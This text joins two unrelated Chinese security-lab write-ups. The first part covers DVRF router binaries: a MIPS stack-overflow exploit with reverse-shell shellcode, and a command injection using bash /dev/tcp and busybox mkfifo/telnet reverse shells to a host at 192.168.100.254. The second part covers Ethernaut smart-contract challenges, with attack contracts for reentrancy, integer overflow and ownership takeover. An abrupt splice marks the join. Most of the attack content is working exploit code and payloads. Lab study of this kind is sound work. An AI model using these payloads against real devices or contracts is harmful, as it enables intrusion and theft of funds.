int main(int argc, char **argv[])
{
if (argc <2)
{
printf("Usage: %s port_number - by b1ack0wln", argv[0]);
exit(1);
}
char str[500] = "";
char endstr[50] = "";
int listen_fd, comm_fd;
int retval = 0;
int option = 1;
struct sockaddr_in servaddr;
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %in", atoi(argv[1]));
retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1)
{
printf("Error Binding to port %in", atoi(argv[1]));
exit(1);
}
if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0)
{
printf("Setsockopt failed :(n");
close(listen_fd);
exit(2);
}
listen(listen_fd, 2);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
bzero(str, 500);
write(comm_fd, "Send Me Bytes:",14);
read(comm_fd,str,500);
sprintf(endstr, "nom nom nom, you sent me %s", str);
printf("Sent back - %s",str);
write(comm_fd, endstr, strlen(endstr)+1);
shutdown(comm_fd, SHUT_RDWR);
shutdown(listen_fd, SHUT_RDWR);
close(comm_fd);
close(listen_fd);
return 0x42;
}
这道题目和之前的区别就是，接收的信息，从原来的程序输入，变成了网络输入，这就和ctf题目非常类似，漏洞点出现在`sprintf(endstr, "nom
nom nom, you sent me %s",
str);`，这个里面`endstr`是一个只有50个字节长度的字符数组，但是要把`str`这个500个字符的数组拷贝进去，所以就造成了溢出，并且`str`的内容来自于socket的输入。
### 查看文件
### IDA查看
这里可以看到，就是在`snprintf`的时候没有检查长度，导致的栈溢出。
### 本地模拟、调试
其实这道题目和上面的rop链很像，就是在调试的过程和上面发生了变化，我这里主要把调试过程说一下。
1.先编写启动脚本：
#! /bin/sh
PORT="1234"
cp $(which qemu-mipsel-static) ./qemu
./qemu -L ./ -g $PORT ./pwnable/ShellCode_Required/socket_bof 9999
rm qemu
2.gdb调试
gdb-multiarch ./pwnable/ShellCode_Required/socket_bof
target remote 127.0.0.1:1234
b *0x400E28
c
3.exp.py
from pwn import *
context.endian = "little"
context.arch = "mips"
p = remote('127.0.0.1',9999)
p.recvuntil('Send Me Bytes:')
data = "xxxx"
p.sendline(data)
p.interactive()
我们在exp上面的data中填充进我们想要的内容就可以，以上就是调试的过程。我们还是根据确定偏移，构造rop，填充shellcode的，寻找libc基地址的流程来进行，详细的exp如下：
from pwn import *
context.endian = "little"
context.arch = "mips"
#port：31337
shellcode = ""
shellcode += "x26x40x08x01"*5
shellcode += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
shellcode += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
shellcode += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
shellcode += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
shellcode += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
shellcode += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
shellcode += "xf8xffxa5xafx64xfex05x3cxc0xa8xa5x34xfcxffxa5xaf" # 192.168.100.254(这个里面改为自己的本机ip地址，也就是x64fe和xc0xa8改为自己相应的ip)
shellcode += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
shellcode += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
shellcode += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
shellcode += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
shellcode += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
shellcode += "xabx0fx02x24x0cx09x09x01"
gadget0 = 0x2fb10
gadget1 = 0x6A50
gadget2 = 0x20F1C
gadget3 = 0x16DD0
gadget4 = 0x214A0
libc_base = 0x77ee2000
#libc_base = 0x766e5000
sleep_offset = 0x2F2B0
data = "a"*51
data += p32(gadget1+libc_base)
data += "b"*0x58
data += "bbbb" #s0
data += p32(gadget2+libc_base) #s1
data += p32(sleep_offset+libc_base) #s2
data += p32(gadget0+libc_base)
data +="c"*0x18
data += p32(gadget4+libc_base) #s0
data += "cccc" #s1
data += "cccc" #s2
data += p32(gadget3+libc_base) #ra
data += "d"*0x18
data += shellcode
p = remote('127.0.0.1',9999)
p.recvuntil('Send Me Bytes:')
p.sendline(data)
p.interactive()
运行成功的流程为分别在三个窗口执行下面的三条指令：
nc -lvp 31337
./local.sh
python exp.py
成功返回shell的图片如下：
### qemu模拟调试
qemu里面模拟的过程，
1.可以安装上面两道题的方式进行调试。
2.还可以按照下面的方式来进行：
1）在qemu中
chroot . ./pwnable/ShellCode_Required/socket_bof 9999 &
gdbserver.mipsel 192.169.100.254:6666 --attach pid
如图所示：
2)在本机中运行
gdb-multiarch
target remote 192.168.100.3:6666
vmmap
c
如图所示：
由此我们可以知道libc的基地址
3）exp.py就是上面的，把libc_base改一下，remote的ip改一下。
4）在调试过程中，nc监听的端口总是接受不了到返回的shell，总是出现如图所示的内容影响，必须在调试到shellcode最后的时候，在监听端口的话，会返回shell。
5）正常运行，不进行调试的时候，成功如图所示：
### 总结
其实就是在qemu里面调试的时候会出现各种问题，例如gab-multiarch后面加不加程序路径，差异还是挺大的，总之就是多尝试一下。
## socket_cmd
这道题目涉及到了简单的命令注入的绕过。
### 漏洞分析
首先查看一下源码：
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Pwnable Socket Program
// By b1ack0wl
// Command Injection
int main(int argc, char **argv[])
{
if (argc <2)
{
printf("Usage: %s port_number - by b1ack0wln", argv[0]);
exit(1);
}
char str[200] = "";
char endstr[100] = "";
int listen_fd, comm_fd;
int retval = 0;
struct sockaddr_in servaddr;
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %dn", atoi(argv[1]));
retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1)
{
printf("Error Binding to port %dn", atoi(argv[1]) );
exit(1);
}
listen(listen_fd, 2);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
while(1)
{
bzero(str, 200);
write(comm_fd, "Send me a string:",17);
read(comm_fd,str,200);
if (!strcasecmp(str, "exit"))
{
write(comm_fd, "Exiting...");
exit(0);
}
snprintf(endstr, sizeof(endstr), "echo %s", str);
system(endstr);
bzero(endstr, 100);
snprintf(endstr, sizeof(endstr), "You sent me %s", str);
write(comm_fd, endstr, strlen(endstr)+1);
}
}
从代码中可以得知，我们从socket中接收一个200字符长度的字符串，然后判断一下是否是`exit`,如果不是的话，就将其放入到`endstr`中，然后用system执行。
### 查看文件
得知这是一个mips 32位小端的程序，并且什么防护也没有开。
### IDA查看
我们将程序放入到IDA中查看，可以看到
### 本地模拟、调试
1.我们接下来就是让程序跑起来，首先我们先进行本地模拟。我们首先写一个调试启动脚本,`gedit local.sh`如下：
#! /bin/sh
PORT="1234"
cp $(which qemu-mipsel-static) ./qemu
./qemu -L ./ -g $PORT ./pwnable/ShellCode_Required/socket_cmd 9999
rm qemu
然后我们就相当于可以在本地进行模拟，并且我们用qemu本身的gdbserver，也就是`-g`选项开启了一个调试端口`1234`。
2.接下来我们用`gdb-multiarch`进行调试，调试的命令如下：
gdb-multiarch ./pwnable/ShellCode_Required/socket_cmd
target remote 127.0.0.1:1234
我们就进入到了如图所示的调试界面。
然后我们在IDA中可以看到
`.text:00400CF0 jalr $t9 ; system`
我们将断点下到这，`b *0x400cf0`，然后`c`执行，等待来自9999端口的输入。
3.我们编写利用脚本，`vi cmdexp.py`，脚本如下：
from pwn import *
p=remote("127.0.0.1",1234)
p.recvuntil("Send me a string:")
payload = "123|ls"
p.sendline(payload)
p.interactive()
我们运行脚本，看到在模拟端成功的返回了`ls`的结果，如下：
4.看到这，我们就想着既然能够执行命令了，那么最好是返回一个shell,我们就想到直接用
`bash -i >& /dev/tcp/ip/port 0>&1`
然后运行，发现没有反弹shell，我们用gdb调试的时候，可以看到
但是并没有返回shell，目前不知道原因。
然后看其他的大佬的exp，把注入的命令改为
`123;bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'`
这样的话，就成功的返回了shell。
### qemu模拟
接下来我们进行qemu的模拟。
1.首先我们启动qemu，因为是mips小端，所以我们用如下的启动脚本start.sh和net.sh的脚本用来网络连接，并且在qemu里面运行net.sh脚本，进行网络配置，随后在qemu中运行net.sh脚本，从而配置网络ip地址，使两边能互通。
2.我们将解包完的系统拷贝到qemu中：
scp -r _DVRF_v03.bin.extracted [email protected]:/root/
3.我们开始模拟运行，并进行调试：
cd _DVRF_v03.bin.extracted/squashfs-root
chroot . ./pwnable/ShellCode_Required/socket_cmd 9999 &
../../gdbserver.mipsel 192.169.100.254:6666 --attach 1000
出现如图所示的界面：
说明gdbserver成功attach上，然后我们在本机运行：
gdb-multiarch
target remote 192.168.100.3:6666
然后我们接着下断点到0x400CF0，执行在本地调通的脚本，将`ip`和`port`修改一下，看system执行的命令,
可以看到确实是执行的我们输入的命令，但是在qemu端提示：bash not found，说明本地并没有bash指令。
4.我们接下来修改一下利用脚本，主要目的是利用固件中已有的指令去反弹shell。我们首先用busybox查看一下支持哪些指令，如下：
可以看到这个里面用到了telnet，telnetd，mkfifo等指令，所以我们可以利用`telnet+mkfifo`来反弹一个shell或者用`telnetd`，下面将分别讲解
1）反弹shell
我们将利用代码改为
payload = "123;TF=/tmp/sh;busybox mkfifo $TF;busybox telnet 192.168.100.254 12345 0<$TF|/bin/sh 1>$TF"
这样的话，我们在本地运行`nc -lvp 12345`，这样的话，我们就能接收到反弹回来的shell，完整的利用代码如下：
from pwn import *
p = remote("192.168.100.3",9999)
p.recvuntil("Send me a string:")
payload = "123;TF=/tmp/sh;busybox mkfifo $TF;busybox telnet 192.168.100.254 12345 0<$TF|/bin/sh 1>$TF"
p.sendline(payload)
p.interactive()
2）正向监听端口
我们将代码改为
payload = "123;TF=/tmp/sh;busybox mkfifo $TF;busybox telnetd -l /bin/sh"
然后我们正向连接，并没有成功，不知道原因。
### 总结
之前的分析都是从有源码之后分析的，现在从IDA中无源码分析，感觉会对以后的IOT设备漏洞挖掘有帮助。
首先我们知道这是一个命令执行，我们先搜索`system`函数，看交叉引用，我们可以得到这就只有一个
我们跳到这，就看到下面IDA中所展现的内容：
我们根据途中所示的步骤，可以看跟踪到`system`的参数来自于socket的`read`中。
## 大总结
根据DVRF先初步入门了路由器的调试，但是没有设备真的是难受，以后会持续跟新一些真实路由器漏洞的浮现及调试情况，希望能对大家有点帮助，也是对自己学习的督促，加油。 | 社区文章 |
>
> 最近尝试在做Ethernaut上面的题目，也在网上搜到了一些过去别人写的题解。但问题在于，随着时间发展，目前有些题目的合约代码已经更新，有些题目引入库合约的代码地址发生变化，还有重入题目中存入余额与之前有所不同，过去的wp中某些题目的题解不能复现。针对这些问题，我修改了一些题解并尽可能详细地解释其中漏洞产生的原理，内容如下。
# 1\. Fallback
合约如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
注意题目中给出的`SafeMath.sol`地址已不能引用，可以用上面的路径。
可以通过`contribute`函数提高用户在`contributions`数组的值，用户可以使用`getContribution`函数获取到当前的contributions数组的内容。注意到有个`receive`函数，解释一下
> 每个合约最多有一个receive函数，这个receive函数使用`receive() external payable { ...
> }`的方式声明（没有function关键字），这个函数不能有参数，并且不能返回任何东西，必须有`external`可见度和`payable`状态可变性。这个函数可以是virtual的，可以被重写并且可以使用modifiers。
>
>
> 当合约收到一个calldata为空的call时，receive函数会被调用。这个函数会在执行一些以太币转账操作时被执行，常见的以太币转账操作包括`.send()`、`.transfer()`函数发起的转账。如果没有receive函数存在，但是存在一个payable属性的fallback函数的话，这个fallback函数会在一次以太币转账中被调用。如果一个合约既没有receive函数也没有payable属性的fallback函数，那么这个合约不能通过常规的交易来接收以太币，并且会抛出一个异常。
而在本题中，可以看到，如果满足require中的条件，receive函数将本合约的owner变成了msg.sender，再通过`withdraw`函数提取合约中的所有余额，即可完成攻击。所有攻击步骤如下：
1. 首先向合约中充值一定数量的以太币，在控制台执行`contract.contribute({value:1})`,保证满足`contributions[msg.sender]>0`
2. 然后向合约对应地址转账1个以太币，触发receive函数，这里可以使用metamask转账
3. 转账完成后查看合约的owerner，可以看到已经变成攻击者的地址，最后调用`withdraw`函数，取出合约中的所有余额，完成攻击。
# 2.Fallout
合约如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
// import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/Math.sol';
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
1. `contract.Fal1out()`调用从而使得owner变成攻击者的地址
2. 然后直接调用`collectAllocations`函数拿下
这个题想说明的是，构造函数是无法直接调用的，而本题中作者故意写成`Fal1out`注意中间是1，使得该函数不是构造函数，于是可以全局调用。
# 3\. CoinFlip
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
// import '@openzeppelin/contracts/math/SafeMath.sol';
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
这里解释一下，`block.number`可以用来获取当前交易对应block的编号，而这里减1获取的就是前一个block的编号，而blockhash(id)可以获取对应id的block的hash值，对应形式类似`0x0ac2bf40a6d661df20bbe1e61c73c0c247215f172053b9fc8af4bff15b94085b`这样，然后uint256将其转换为16进制对应的数值。其中给的factor就是$2^{256}/2$，所以每次做完除法的结果有一半几率是0，一半是1。
* 本题考察点在于，上述这种通过`block.blockhash(block.number - 1)`获取负一高度的区块hash来生成随机数的方式是极易被攻击利用的。
* 原理是在区块链中，一个区块包含多个交易，我们可以先运行一下上述除法计算的过程获取结果究竟是0还是1，然后再发送对应的结果过去，区块链中块和快之前的间隔大概有10秒，手动去做会有问题，而且不能保证我们计算的合约是否和题目运算调用在同一个block上，因此需要写一个攻击合约完成调用。我们在攻击合约中调用题目中的合约，可以保证两个交易一定被打包在同一个区块上，因此它们获取的`block.number.sub(1)`是一样的，攻击合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
interface CoinFlip{
function flip(bool _guess) external returns (bool);//这里函数可见性要改成external
}
contract attack {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address targetAddress =0xBC69893DE012e1949285b4c04e643E6f7958682C;//改成要攻击地址
CoinFlip c;
function exp() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
c = CoinFlip(targetAddress);
c.flip(side);
}
}
remix选择injected web3，使用metamask账户连接到Rinkeby测试网上，部署上述代码然后点击10次exp函数即可。
# 4\. Telephone
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这道题需要了解`tx.origin`和`msg.sender`的区别。假设A、B、C都是已经部署的合约，如果我们用A去调用C，即A->C，那么在C合约看来，A既是`tx.origin`，又是`msg.sender`。如果调用链是A->B->C，那么对于合约C来说，A是`tx.origin`，B是`msg.sender`，即`msg.sender`是直接调用的一方，而`tx.origin`是交易的原始发起者，和英文也对应着。因此本题直接外部部署合约调用changeOwner函数即可完成。攻击代码如下：
pragma solidity ^0.4.11;
interface Telephone {
function changeOwner(address _owner) external;
}
contract exploit {
address targetAddr;
Telephone t;
address myaddr;
function setInstance(address _targetAddr,address _myaddr) public {
targetAddr=_targetAddr;
myaddr= _myaddr;
}
function exp () public {
t = Telephone(targetAddr);
t.changeOwner(myaddr);
}
}
倒是搜索的时候可以搜到针对条件为`require(tx.origin ==
owner);`的攻击，参考[这里](https://blog.csdn.net/wo541075754/article/details/96445470)
# 5\. Token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
这个题考察整数溢出的问题，题目说明中告知初始已经给我们分配了20个token，所以我们只需要外部调用transfer函数，执行`transfer(instance,21)`，那么`balances[msg.sender]
- _value`的结果为-1，由于是uint类型，会变成$2^{256}-1$这样一个很大的数字，从而实现攻击，攻击代码如下：
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Token {
function transfer(address _to, uint _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint balance);
}
contract exploit {
mapping(address => uint) balances;
uint public mybalance;
address target;
Token token;
event log(uint);
//target设置为题目合约地址
function setins(address _addr)public{
target=_addr;
}
//_addr是instance地址，当然这里任何在balances中合法的其他地址都行，_value设置成21
function exp(address _addr,uint _value) public {
token=Token(target);
token.transfer(_addr,_value);
}
//用来读余额，方便调试
function getbalance(address _addr) public returns(uint){
token=Token(target);
mybalance=token.balanceOf(_addr);
emit log(mybalance);
return mybalance;
}
}
也可以在命令行直接传，如下所示：
# 6.Delegation
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
本题首先需要了解一下solidity当中三种调用代码的特殊方式:`call`、`delegatecall`和`staticcall`
<address>.call(bytes memory) returns (bool, bytes memory)
使用给定的payload发出一个低级(low-level)的`CALL`命令，返回执行是否成功和数据，转发所有可用gas，可调整。
<address>.delegatecall(bytes memory) returns (bool, bytes memory)
使用给定payload发出一个低级的`DELEGATECALL`指令，返回执行是否成功和数据，转发所有可用gas，可调整。
<address>.staticcall(bytes memory) returns (bool, bytes memory)
使用给定payload发出一个低级的`STATICCALL`指令，返回执行是否成功和数据，转发所有可用gas，可调整。
官网三个指令说明几乎一模一样，他们之间的具体区别用一段代码来说明：
pragma solidity ^0.4.23;
contract Calltest {
address public b;
function test() public {
b=address(this);
}
}
contract Compare {
address public b;
address public testaddress;
event logb(address _a);
constructor(address _addressOfCalltest) public {
testaddress = _addressOfCalltest;
}
function withcall() public {
testaddress.call(bytes4(keccak256("test()")));
emit logb(b);
}
function withdelegatecall() public {
testaddress.delegatecall(bytes4(keccak256("test()")));
emit logb(b);
}
}
首先部署一下`CallTest`合约，然后将合约地址作为`Compare`合约的构造参数进行部署。部署完成后，分别点击2个合约的b，可以看到都是`0x0000000000000000000000000000000000000000`
然后点击执行`withcall`函数，之后再分别点击b，查看结果，可以发现`CALLTEST`合约的b已经变成了这个合约的部署地址`0x0debB7DC73AE4ba3C7d740491a0bc0f8C63594c8`，而Compare合约的地址并没有变化。说明`call`只是在`CALLtest`合约中执行了test函数
再执行`withdelegatecall`函数，然后分别查看结果，可以看到此时`Compare`合约的b变成`Compare`合约的地址，即，我们在`Compare`合约中执行了test函数，而上面的`call`实际上还是在`CALLtest`合约中执行的test函数
如果部署后直接执行`withdelegatecall`，查看结果，可以发现只有`Compare`合约的b被改变了，也进一步印证了上面说的，`delegatecall`只在`Compare`合约内部执行了test函数，相当于test函数代码迁移到了Compare合约中执行了一下，这也是solidity实现类似库函数作用的方式。
回到本题，我们的目标就是通过delegatecall调用delegate合约的pwn函数，从而实现修改第一个合约的owner。这就涉及到call指定调用函数的操作，当给call传入的第一个参数时四个字节时，那么合约就会默认这四个字节是要调用的函数，它会把这四个字节当作函数的id来寻找调用函数，而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个字节，函数签名就是带有括号括起来的参数类型列表的函数名称。
所以只需要一行即可完成攻击：
contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});
原理就是`sendTransaction`这个交易触发fallback函数，这里`msg.data`就是我们用类似json的形式指定的data，data放前四个字节即可。
>
> 还有一种调用方式就是上上面演示代码提到的`(bytes4(keccak256("test()")))`，keccak256和sha3是一样的，这样也可以获取到前4个字节。
这里`slice(0,10)`是因为前面还有个0x，加上0x一共10个字符。
# 7\. Force
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
本题代码只有一个空合约，没有任何代码，看起来让人摸不着头脑。题目要求是让合约的余额大于0，这用到`selfdestruct`函数。这是一个自毁函数，当我们调用这个函数时，它会使合约无效化并删除该地址的字节码，然后它会把合约里剩余的资金发送给参数指定的地址，比较特殊的是这笔资金的发送将无视合约的fallback函数。（因为之前提到，如果合约收到一笔没有任何函数可以处理的资金时，就会调用fallback函数，而selfdestruct函数无视这一点，也就是资金会优先由selfdestruct函数处理）
步骤是：
1. 首先部署一个调用`selfdestruct`函数的合约，例如
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Attack {
uint b;
event log(uint);
constructor()public{
b=0;
}
// 写receive函数是为了让这个合约接收一点ether，我在测试时如果只有下面的exploit函数转账一直失败
// 当然也可以在创建合约时直接存入
receive()payable external{
b+=msg.value;
emit log(b);
}
function exploit(address payable _target) public payable {
selfdestruct(_target);
}
}
特别注意的一点是，这个函数必须有payable属性，否则这个合约时无法接收转账的。
1. 往这个合约里存点钱，比如我的地址是`0xbB5D735088498AcaaCc24A99d5fd13f947A5879f`，直接使用Metamask往里面存。
1. 然后执行exploit函数，设置地址为题目地址，selfdestruct后eth就强制到了题目地址上，从而完成题目要求。
# 8\. Vault
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
这个题目代码很明显，就是需要我们获得合约中的password，然后调用unlock函数即可。这涉及到一点：以太坊部署和合约上所有的数据都是可读的，包括这里合约内定义为private类型的password变量，我们可以使用`web3.eth.getStorageAt`来读取合约行对应地址的数据
web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
第一个参数时对应要读取的合约地址，第二个参数是要读取内容的索引位置(变量是第几个被定义的变量)，第三个参数如果被设置，那么就不会使用默认的block(被[web3.eth.defaultBlock](https://web3js.readthedocs.io/en/v1.2.11/web3-eth.html#eth-defaultblock)设置的默认块)，而是使用用户自定义的块，这个参数可选项有`"earliest"`, `"latest"` 和
`"pending"`，第四个选项设置回调函数。
所以本题首先使用`await web3.eth.getStorageAt(contract.address,1)`读取password的内容(`await
web3.eth.getStorageAt(contract.address,0)`读取到的是locked变量的值)，然后使用`await
contract.unlock("A very strong secret password :)")`解锁即可，可以使用`await
contract.locked()`查看是否解锁。
注意一点是，web3.js不能自动把string解析成byte32类型，因此需要我们`web3.utils.asciiToHex`使用转换一下
换句话说,web3.js里`0x`开头的字符串可以被认为是bytes32
# 9\. King
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
很明显可以通过看到`receive`函数中只要我们满足require的条件，就可以篡改合约的`king`，查看合约新实例可以看到合约在创建时存入了0.001ether
因此我们只需转入0.01ether即可满足条件，而题目说明中告知，当我们submit instance
时本关会尝试回收“王权”，也就是它会传入一个更大的msg.value，修改king为原来的msg.sender，为了阻止这一点，我们可以通过在合约的`receive`或者`fallback`函数中加入revert函数来实现。
pragma solidity ^0.6.0;
contract AttackKing {
constructor(address payable _victim) public payable {
_victim.call.gas(1000000).value(1 ether)("");
}
receive() external payable {
revert();
}
}
务必注意，因为我们创建的合约需要向题目合约转账，所以在创建合约时一定要选择1
ether的余额放进去，然后设置victim为题目合约地址，当submit题目打算回收“王权”时，它运行到`king.transfer(msg.value);`这一行时，由于king就是我们合约的地址，而我们合约的`receive`函数会执行revert，因此它会卡在这个状态无法执行，从而无法取回王权。
这个漏洞在实际合约中被用revert来执行DDos，让程序卡在某个状态无法运行。
# 10\. Re-entrancy
终于到了重入漏洞，著名的The DAO攻击中攻击者就利用了重入漏洞，造成了以太坊社区的一个硬分叉。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
注意这里使用了`call{value:xx}`的形式，`call`是`send`和`transfer`函数底层实现，也是用来转账的。与它们的区别在于，[参考链接](https://blockchain-academy.hs-mittweida.de/courses/solidity-coding-beginners-to-intermediate/lessons/solidity-2-sending-ether-receiving-ether-emitting-events/topic/sending-ether-send-vs-transfer-vs-call/)
* transfer:要求接收的智能合约中必须有一个`fallback`或者`receive`函数，否则会抛出一个错误(error)，并且revert（也就是回滚到交易前的状态）。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误：
* 付款方合约的余额不足，小于所要发送的value
* 接收方合约拒绝接收支付
* send:和transfer函数的工作方式基本一样，唯一的区别在于，当出现上述两种交易失败的情况时，send的返回结果是一个boolean值，而不会执行revert回滚。
* call: call函数和上面最大的区别在于，它没有gas的限制，使用call时EVM将所有gas转移到接收合约上，形式如下:
(bool success, bytes memory data) = receivingAddress.call{value: 100}("");
将参数设置为空会触发接收合约的`fallback`函数，使用call同样也可以调用本合约内的函数，形式如下
(bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256("function_name(uint256)",args)));
这里设置的gas是 **浮点数类型** 的，其中`function_name`、`uint256`和`args`需要替换为实际函数名字、参数类型、参数值。
`send`和`transfer`有一个限制单笔交易的gas不能超过2300的约束，这个约束值是很低的，只能支持一个event的触发，做不了更多操作，因此当设置到一些高gas消耗的操作时，必须使用call函数，但由于call函数不限制操作的gas值，又会导致存在合约重入的问题。
回到本题，注意到`withdraw`函数中调用了一个空参数的`call`函数，我们可以编写一个特殊的合约，让接收函数的fallback函数重复调用目标合约的`withdraw`函数，这样合约就会不断给我们所编写的合约转账直至余额为0。具体代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract attack {
address payable target;
address payable public owner;
uint amount = 1000000000000000 wei;
constructor(address payable _addr) public payable {
target=_addr;
owner = msg.sender;
}
function step1() public payable{
bool b;
(b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
require(b,"step1 error");
}
function setp2() public payable {
bool b;
(b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
require(b,"step2 error");
}
fallback () external payable{
bool b;
(b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
require(b,"fallback error");
}
